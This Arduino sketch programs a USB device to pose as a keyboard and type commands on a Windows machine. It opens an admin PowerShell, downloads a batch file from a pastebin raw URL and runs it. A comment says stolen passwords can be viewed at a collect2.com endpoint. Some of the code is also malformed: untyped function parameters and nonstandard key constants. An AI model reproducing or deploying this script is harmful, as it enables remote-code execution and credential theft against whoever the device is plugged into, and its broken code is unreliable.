#include <Keyboard.h>
void setup() {
delay(7000);
KeypressCombo(KEY_LEFT_GUI, KEY_d);
delay(200);
KeypressCombo(KEY_LEFT_GUI, KEY_x);
delay(200);
Keyboard.println("i");
delay(200);
KeypressCombo(KEY_LEFT_GUI, KEY_d);
delay(200);
Keyboard.println("Invoke-WebRequest -OutFile a.bat -Uri pastebin.com/raw/XSbAv2NK");
delay(200);
Keyboard.println("start a.bat");
delay(200);
//see the stole password here: https://collect2.com/api/9a3e5787-c4cc-45ac-8970-ae38813b7598/datarecord/
}
void loop() {}
void KeypressCombo(key1, key2)
{
Keyboard.press(key1);
delay(100);
if(key2 != NULL)
{
Keyboard.press(key2);
delay(200);
}
Keyboard.releaseAll();
delay(200);
}
void opencmd()
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(300);
Keyboard.println("cmd");
delay(1000);
}